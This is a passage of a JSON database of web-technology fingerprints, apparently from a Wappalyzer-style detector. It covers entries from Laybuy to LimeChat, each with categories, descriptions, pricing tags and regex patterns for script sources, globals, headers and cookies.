\"laybuyMoneyOverides\": \"\",\n      \"wc_ga_pro.available_gateways.laybuy\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.laybuy\\\\.com/\",\n      \"/wp-content/plugins/woo-laybuy/\"\n    ],\n    \"website\": \"https://www.laybuy.com\"\n  },\n  \"LayUp\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"LayUp is a payment technology platform enabling customers to pay for goods and services over time.\",\n    \"icon\": \"LayUp.svg\",\n    \"js\": {\n      \"LayUpCheckoutButton\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"layup\\\\.co\\\\.za\"\n    ],\n    \"website\": \"https://layup.co.za\"\n  },\n  \"LayoutHub\": {\n    \"cats\": [\n      100,\n      51\n    ],\n    \"description\": \"LayoutHub is an easy page builder that helps merchants quickly set up an online store with any kind of page type by using our library of pre-designed layouts and blocks.\",\n    \"icon\": \"LayoutHub.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.layouthub\\\\.com/shopify/layouthub\\\\.js\"\n    ],\n    \"website\": \"https://layouthub.com\"\n  },\n  \"Layui\": {\n    \"cats\": [\n      66\n    ],\n    \"cpe\": \"cpe:2.3:a:layui:layui:*:*:*:*:*:*:*:*\",\n    \"description\": \"Layui is an open-source modular front-end UI component library.\",\n    \"icon\": \"Layui.svg\",\n    \"js\": {\n      \"layui.v\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://layui.gitee.io\"\n  },\n  \"Lazada\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Lazada is a B2B2C marketplace model in which so-called merchants sell goods on their platform.\",\n    \"icon\": \"Lazada.svg\",\n    \"meta\": {\n      \"aplus-auto-exp\": \"lzdhome\\\\.desktop\\\\.\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.lazada.com\"\n  },\n  \"LazySizes\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"LazySizes is a JavaScript library used to delay the loading of images (iframes, scripts, etc) until they come into view.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"lazySizes\": \"\",\n      \"lazySizesConfig\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/aFarkas/lazysizes\"\n  },\n  \"LazySizes unveilhooks plugin\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"LazySizes unveilhooks plugin extends lazySizes to lazyload scripts/widgets, background images, styles and video/audio elements.\",\n    \"icon\": \"default.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"ls\\\\.unveilhooks(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://github.com/aFarkas/lazysizes/tree/gh-pages/plugins/unveilhooks\"\n  },\n  \"Lead Concept\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Lead Concept is a system designed to generate potential customer leads.\",\n    \"icon\": \"LeadConcept.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.lead-concept\\\\.com/\"\n    ],\n    \"website\": \"https://www.lead-concept.com\"\n  },\n  \"LeadBoxer\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LeadBoxer is a lead generation program that measures invitations from website visitors, aiding businesses in tracking and analyzing potential leads.\",\n    \"icon\": \"LeadBoxer.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ip\\\\.leadboxer\\\\.com\"\n    ],\n    \"website\": \"https://www.leadboxer.com\"\n  },\n  \"LeadChat\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"LeadChat offers live-operators and CRM solutions that utilise LiveChat chat software to facilitate real-time engagement with website visitors for businesses.\",\n    \"icon\": \"LeadChat.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"LiveChat\"\n    ],\n    \"scriptSrc\": [\n      \"(?://|\\\\.)chatsystem\\\\.io/\"\n    ],\n    \"website\": \"https://www.leadchat.com\"\n  },\n  \"LeadDyno\": {\n    \"cats\": [\n      71,\n      10\n    ],\n    \"cookies\": {\n      \"_leaddyno_session\": \"\"\n    },\n    \"description\": \"LeadDyno is a platform that provides affiliate marketing and tracking services, allowing businesses to set up, manage, and analyse their affiliate programs.\",\n    \"icon\": \"LeadDyno.svg\",\n    \"js\": {\n      \"LeadDyno\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.leaddyno.com\"\n  },\n  \"LeadPages\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"LeadPages is a tool that allows users to transform their ideas into published landing pages efficiently.\",\n    \"dom\": [\n      \"link[href*='.leadpages.io']\"\n    ],\n    \"icon\": \"LeadPages.svg\",\n    \"js\": {\n      \"LeadPagesCenterObject\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.leadpages.com\"\n  },\n  \"LeadScore\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"LeadScore is an inbound marketing automation system facilitating streamlined digital marketing processes.\",\n    \"icon\": \"LeadScore.svg\",\n    \"js\": {\n      \"trackLeadScore\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.leadscore.io/\"\n  },\n  \"LeadSimple\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"LeadSimple is a platform that allows property managers to automate their sales and operational processes.\",\n    \"icon\": \"LeadSimple.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets2\\\\.leadsimple\\\\.com/\"\n    ],\n    \"website\": \"https://www.leadsimple.com\"\n  },\n  \"LeadSlide\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"LeadSlide is a marketing campaign software designed for wordpress, ecommerce, and Shopify.\",\n    \"icon\": \"LeadSlide.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"leadslide\\\\.com/\"\n    ],\n    \"website\": \"https://v1.leadslide.com\"\n  },\n  \"Leadfeeder\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Leadfeeder is a B2B visitor identification software that tracks and identifies companies that visit your website.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.(?:lfeeder|leadfeeder)\\\\.com\"\n    },\n    \"icon\": \"Leadfeeder.svg\",\n    \"js\": {\n      \"ldfdr.getTracker\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.leadfeeder\\\\.com/\"\n    ],\n    \"website\": \"https://www.leadfeeder.com\"\n  },\n  \"Leadinfo\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Leadinfo is a lead generation software that enables you to recognise B2B website visitors.\",\n    \"icon\": \"Leadinfo.svg\",\n    \"js\": {\n      \"GlobalLeadinfoNamespace\": \"\\\\;confidence:50\",\n      \"leadinfo\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.leadinfo\\\\.net\"\n    ],\n    \"website\": \"https://www.leadinfo.com\"\n  },\n  \"LeadsBridge\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"LeadsBridge is an all-in-one solution for lead generation.\",\n    \"icon\": \"LeadsBridge.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"leadsbridge\\\\.com/\"\n    ],\n    \"website\": \"https://leadsbridge.com\"\n  },\n  \"LeadsSight\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"LeadsSight is a tool that converts lost visitors on your website into potential leads by tracking their behaviour.\",\n    \"icon\": \"LeadsSight.svg\",\n    \"js\": {\n      \"postURL\": \"app\\\\.leadssight\\\\.com/\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.leadssight\\\\.com/\"\n    ],\n    \"website\": \"https://leadssight.com\"\n  },\n  \"Leadspace\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Leadspace is a customer data platform catering to B2B sales and marketing needs.\",\n    \"icon\": \"Leadspace.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sfc\\\\.leadspace\\\\.com/\"\n    ],\n    \"website\": \"https://www.leadspace.com\"\n  },\n  \"Leadsquared\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Leadsquared is a marketing automation software suite.\",\n    \"icon\": \"Leadsquared.svg\",\n    \"js\": {\n      \"leadsquared\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.leadsquared.com\"\n  },\n  \"Leadster\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Leadster is a conversation marketing plataform based on chatbot.\",\n    \"icon\": \"Leadster.svg\",\n    \"js\": {\n      \"neurolead.convoScript\": \"\",\n      \"neurolead.elChatbot\": \"\",\n      \"neuroleadLanguage\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://leadster.com.br\"\n  },\n  \"Leaflet\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Leaflet is the open-source JavaScript library for mobile-friendly interactive maps.\",\n    \"icon\": \"Leaflet.svg\",\n    \"js\": {\n      \"L.DistanceGrid\": \"\",\n      \"L.PosAnimation\": \"\",\n      \"L.version\": \"^(.+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"scriptSrc\": [\n      \"(?:(?:dist\\\\/)?)?leaflet[\\\\w\\\\-\\\\.]{0,32}\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?(?!.+shopify)\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:dist\\\\/)?)?leaflet[\\\\w\\\\-\\\\.]{0,32}\\\\.js(?!.+shopify)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://leafletjs.com\"\n  },\n  \"Leaflet platform\": {\n    \"cats\": [\n      100,\n      74\n    ],\n    \"description\": \"Leaflet is the price testing platform for Shopify.\",\n    \"icon\": \"Leaflet platform.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"scripts\\\\.leaflet\\\\.co/\"\n    ],\n    \"website\": \"https://join.leaflet.co\"\n  },\n  \"LeanData\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"LeanData is a platform that enhances demand management by providing lead-to-account matching and intelligent lead routing.\",\n    \"icon\": \"LeanData.svg\",\n    \"js\": {\n      \"LDBookItPopup\": \"\",\n      \"LDBookItV2\": \"\",\n      \"LDCalendaring\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.leandata.com\"\n  },\n  \"Leanplum\": {\n    \"cats\": [\n      32,\n      74\n    ],\n    \"description\": \"Leanplum is a multi-channel messaging and campaign orchestration platform.\",\n    \"icon\": \"Leanplum.svg\",\n    \"js\": {\n      \"Leanplum\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"npm/leanplum-sdk\\\\@([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.leanplum.com\"\n  },\n  \"LearnDash\": {\n    \"cats\": [\n      21,\n      87\n    ],\n    \"description\": \"LearnDash is a WordPress plugin that enables the creation and management of online courses, quizzes, and educational content within a website.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/sfwd-lms/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/sfwd-lms/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"LearnDash.svg\",\n    \"pricing\": [\n      \"low\",\n      \"onetime\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.learndash.com\"\n  },\n  \"LearnUpon\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"_LearnUpon_session\": \"\"\n    },\n    \"description\": \"LearnUpon is a learning management system (LMS) that helps businesses enhance employee development by streamlining the delivery, management, and tracking of training programs.\",\n    \"icon\": \"LearnUpon.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.learnupon.com/\"\n  },\n  \"LearnWorlds\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"LearnWorlds is a powerful yet lightweight, user-friendly, white-labeled cloud-based LMS ideal for versatile employee training.\",\n    \"icon\": \"LearnWorlds.svg\",\n    \"js\": {\n      \"LWClient.ebooks\": \"\",\n      \"LWSettings.deactive_components\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.mycourse\\\\.app/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.learnworlds.com\"\n  },\n  \"LearnyBox\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"LearnyBox is an all-in-one platform that enables users to launch, manage, and sell training courses.\",\n    \"icon\": \"LearnyBox.svg\",\n    \"js\": {\n      \"ExecuteActionLearnyMail\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"learnybox\\\\.com\"\n    ],\n    \"website\": \"https://learnybox.com\"\n  },\n  \"Leaseweb\": {\n    \"cats\": [\n      63,\n      88\n    ],\n    \"description\": \"Leaseweb is an Infrastructure-as-a-Service (IaaS) provider offering dedicated servers, CDN, cloud hosting and hybrid cloud on a global network.\",\n    \"dns\": {\n      \"SOA\": \"\\\\.leaseweb\\\\.nl\"\n    },\n    \"icon\": \"Leaseweb.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.leaseweb.com\"\n  },\n  \"Lede\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Lede is a publishing platform and growth program designed to support journalism startups and news media.\",\n    \"html\": [\n      \"<a [^>]*href=\\\"[^\\\"]+joinlede.com\"\n    ],\n    \"icon\": \"lede.svg\",\n    \"implies\": [\n      \"WordPress\",\n      \"WordPress VIP\"\n    ],\n    \"js\": {\n      \"ledeChartbeatViews\": \"\",\n      \"ledeEngagement\": \"\",\n      \"ledeEngagementReset\": \"\"\n    },\n    \"meta\": {\n      \"og:image\": \"https?\\\\:\\\\/\\\\/lede-admin\"\n    },\n    \"saas\": true,\n    \"website\": \"https://joinlede.com/\"\n  },\n  \"Legal Monster\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Legal Monster is a consent and privacy management solution, which helps businesses maintain compliance with ePrivacy, marketing requirements and General Data Protection Regulation (GDPR).\",\n    \"icon\": \"Legal Monster.svg\",\n    \"js\": {\n      \"legal.__VERSION__\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.legalmonster\\\\.com/\"\n    ],\n    \"website\": \"https://www.legalmonster.com\"\n  },\n  \"Lemon Squeezy\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Lemon Squeezy is a platform designed for SaaS businesses, providing functionalities such as payment processing, subscription management, global tax compliance, fraud prevention, multi-currency support, failed payment recovery, and integration with PayPal, with the aim of facilitating the operational management of software businesses.\",\n    \"icon\": \"Lemon Squeezy.svg\",\n    \"js\": {\n      \"LemonSqueezy\": \"\",\n      \"lemonSqueezyAffiliateConfig\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.lemonsqueezy.com\"\n  },\n  \"Lengow\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Lengow is an ecommerce automation solution that enables brands and retailers to integrate, structure and optimise their product content across all distribution channels: marketplaces, comparison shopping engines, affiliate platforms, display and retargeting.\",\n    \"icon\": \"Lengow.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lengow\\\\.com/\"\n    ],\n    \"website\": \"https://www.lengow.com\"\n  },\n  \"Lenis\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Lenis is a smooth scroll library to normalise the scrolling experience across devices.\",\n    \"icon\": \"Lenis.svg\",\n    \"js\": {\n      \"Lenis\": \"\",\n      \"lenisVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"http://lenis.darkroom.engineering\"\n  },\n  \"Leptos\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Leptos is a full-stack, isomorphic Rust web framework leveraging fine-grained reactivity to build declarative user interfaces.\",\n    \"html\": [\n      \"<!--hk=_.*\"\n    ],\n    \"icon\": \"Leptos.svg\",\n    \"implies\": [\n      \"Rust\"\n    ],\n    \"js\": {\n      \"__LEPTOS_PENDING_RESOURCES\": \"\",\n      \"__LEPTOS_RESOLVED_RESOURCES\": \"\",\n      \"__LEPTOS_RESOURCE_RESOLVERS\": \"\"\n    },\n    \"oss\": true,\n    \"scripts\": [\n      \"export function microtask\\\\(f\\\\)\\\\;confidence:75\"\n    ],\n    \"website\": \"https://leptos.dev\"\n  },\n  \"Less\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Less is a CSS preprocessor, providing a set of extensions and features to traditional Cascading Style Sheets (CSS) for improved maintainability and ease of styling in web development.\",\n    \"dom\": [\n      \"link[rel='stylesheet/less']\"\n    ],\n    \"html\": [\n      \"<link[^>]+ rel=\\\"stylesheet/less\\\"\"\n    ],\n    \"icon\": \"Less.svg\",\n    \"oss\": true,\n    \"website\": \"https://lesscss.org\"\n  },\n  \"Let's Encrypt\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"Let's Encrypt\",\n    \"description\": \"Let's Encrypt is a free, automated, and open certificate authority.\",\n    \"icon\": \"Lets Encrypt.svg\",\n    \"website\": \"https://letsencrypt.org/\"\n  },\n  \"Letro\": {\n    \"cats\": [\n      90,\n      96\n    ],\n    \"description\": \"Letro is a UGC and review tool for ecommerce platforms.\",\n    \"icon\": \"Letro.svg\",\n    \"js\": {\n      \"__letroUgcGadget\": \"\",\n      \"letroUgcSet\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"letro\\\\.jp/tags\"\n    ],\n    \"website\": \"https://service.aainc.co.jp/product/letro/\"\n  },\n  \"Levar\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Levar specialises in 3D visualisation technology for ecommerce stores.\",\n    \"icon\": \"Levar.svg\",\n    \"js\": {\n      \"levARActivationHelper\": \"\",\n      \"levar.session_info\": \"\",\n      \"levar_onload_variant_id\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://levar.io\"\n  },\n  \"Level 5\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Level 5 is a page builder constructed with WordPress and powered with WP Engine hosting featuring advanced caching and performance optimisation.\",\n    \"icon\": \"Level 5.png\",\n    \"js\": {\n      \"l5_inventory_url\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://level5advertising.com/websites/\"\n  },\n  \"Level Access\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Level Access, formerly eSSENTIAL Accessibility, is a leading digital accessibility solutions provider offering tools and services to ensure compliance with standards such as ADA, Section 508, and WCAG​ \",\n    \"dom\": [\n      \" a[href*='.essentialaccessibility.com'] > img, a[href*='.levelaccess.com'] > img\"\n    ],\n    \"icon\": \"Level Access.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.levelaccess.com\"\n  },\n  \"Lever\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Lever is a software company headquartered in San Francisco, California and Toronto, Canada that provides an applicant tracking system for hiring.\",\n    \"dom\": [\n      \"a[href*='jobs.lever.co/']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.lever\\\\.co\"\n    },\n    \"icon\": \"Lever.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.lever.co\"\n  },\n  \"Lexity\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Lexity is the one-stop-shop of ecommerce services for SMBs.\",\n    \"icon\": \"Lexity.png\",\n    \"scriptSrc\": [\n      \"\\\\.lexity\\\\.com/\"\n    ],\n    \"website\": \"https://lexity.com\"\n  },\n  \"Liana\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.lianacms\\\\.com\"\n    },\n    \"icon\": \"Liana.svg\",\n    \"meta\": {\n      \"generator\": \"Sivuviidakko\"\n    },\n    \"website\": \"https://www.lianatech.com/solutions/websites-and-commerce/websites.html\"\n  },\n  \"Liberapay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Liberapay is a non-profit organisation subscription payment platform.\",\n    \"dom\": [\n      \"a[href*='//liberapay.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Liberapay.svg\",\n    \"scriptSrc\": [\n      \"//liberapay\\\\.com/\"\n    ],\n    \"website\": \"https://liberapay.com/\"\n  },\n  \"Libravatar\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Libravatar is a service for fetching avatar images for e-mail addresses and OpenIDs in a privacy respecting way.\",\n    \"dom\": [\n      \"img[src*='.libravatar.org/avatar/']\"\n    ],\n    \"icon\": \"libravatar.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.libravatar.org/\"\n  },\n  \"Lieferando\": {\n    \"cats\": [\n      1,\n      93\n    ],\n    \"description\": \"Lieferando is an online portal for food orders.\",\n    \"icon\": \"Lieferando.svg\",\n    \"js\": {\n      \"Tealium.pagedata.country\": \"lieferando\\\\.de\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.lieferando.de\"\n  },\n  \"Liferay\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*\",\n    \"description\": \"Liferay is an open-source company that provides free documentation and paid professional service to users of its software.\",\n    \"headers\": {\n      \"Liferay-Portal\": \"[a-z\\\\s]+([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Liferay.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"Liferay\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.liferay.com/\"\n  },\n  \"Lift\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:liftweb:lift:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lift is a secure, scalable web framework written in Scala, designed for high performance and modularity, supporting AJAX and Comet for interactive applications.\",\n    \"headers\": {\n      \"X-Lift-Version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Lift.svg\",\n    \"implies\": [\n      \"Scala\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://liftweb.net\"\n  },\n  \"LiftIgniter\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"LiftIgniter is a personalized content system designed to tailor recommendations and content to individual users based on their preferences and behaviours.\",\n    \"dom\": [\n      \"phoenix-script[script-id*='liftigniter-init']\"\n    ],\n    \"icon\": \"LiftIgniter.svg\",\n    \"js\": {\n      \"liftIgniterLoadPromise\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.liftigniter.com\"\n  },\n  \"LifterLMS\": {\n    \"cats\": [\n      21,\n      87\n    ],\n    \"description\": \"LifterLMS is a learning management system plugin for WordPress.\",\n    \"dom\": [\n      \"link#lifterlms-styles-css\"\n    ],\n    \"icon\": \"LifterLMS.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/plugins/lifterlms/assets/js/llms\\\\.min\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://lifterlms.com\"\n  },\n  \"LightMon Engine\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"lm_online\": \"\"\n    },\n    \"html\": [\n      \"<!-- Lightmon Engine Copyright Lightmon\"\n    ],\n    \"icon\": \"LightMon Engine.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"LightMon Engine\"\n    },\n    \"website\": \"https://lightmon.ru\"\n  },\n  \"Lightbox\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:lightbox_photo_gallery_project:lightbox_photo_gallery:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lightbox is small javascript library used to overlay images on top of the current page.\",\n    \"dom\": {\n      \"link[href*='lightbox']\": {\n        \"attributes\": {\n          \"href\": \"/lightbox(?:\\\\.min)?\\\\.css\"\n        }\n      }\n    },\n    \"icon\": \"Lightbox.svg\",\n    \"js\": {\n      \"Lightbox.activeImage\": \"\",\n      \"lightbox.$lightbox\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"lightbox(?:-plus-jquery)?.{0,32}\\\\.js\"\n    ],\n    \"website\": \"https://lokeshdhakar.com/projects/lightbox2/\"\n  },\n  \"Lightning\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Lightning is a very simple and easy to customize WordPress theme which is based on the Bootstrap.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/lightning/'], link[href*='/wp-content/themes/lightning-pro/']\"\n    ],\n    \"icon\": \"Lightning.svg\",\n    \"js\": {\n      \"lightningOpt.header_scrool\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/lightning(?:-pro)?/.+lightning\\\\.min\\\\.js(?:.+ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://lightning.vektor-inc.co.jp/en/\"\n  },\n  \"Lightspeed eCom\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"<!-- \\\\[START\\\\] 'blocks/head\\\\.rain' -->\"\n    ],\n    \"icon\": \"Lightspeed.svg\",\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"http://assets\\\\.webshopapp\\\\.com\"\n    ],\n    \"url\": [\n      \"seoshop.webshopapp.com\"\n    ],\n    \"website\": \"https://www.lightspeedhq.com/products/ecommerce/\"\n  },\n  \"Liine\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Liine is an all-in-one platform for monitoring, optimizing, and incentivizing the management of new patient calls.\",\n    \"icon\": \"Liine.svg\",\n    \"js\": {\n      \"Liine.addURLChangeListener\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.liine.com\"\n  },\n  \"Lily\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Lily is a BigCommerce app that rewards customers with loyalty points for making purchases, signing up, following or sharing on social media, and more.\",\n    \"icon\": \"Lily.svg\",\n    \"js\": {\n      \"lilyCustomerId\": \"\",\n      \"lilyHash\": \"\",\n      \"lilyPl\": \"\"\n    },\n    \"requires\": [\n      \"BigCommerce\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getlily.io\"\n  },\n  \"Lime Talk\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Lime Talk is a real-time customer messaging platform designed for businesses to engage with website visitors and customers through live chat functionality.\",\n    \"icon\": \"LimeTalk.svg\",\n    \"js\": {\n      \"limetalk\": \"\",\n      \"limetalkLoader\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.limetalk\\\\.com/\"\n    ],\n    \"website\": \"https://www.limetalk.com\"\n  },\n  \"LimeChat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"LimeChat is India's first level-3 AI chatbot company.\",\n    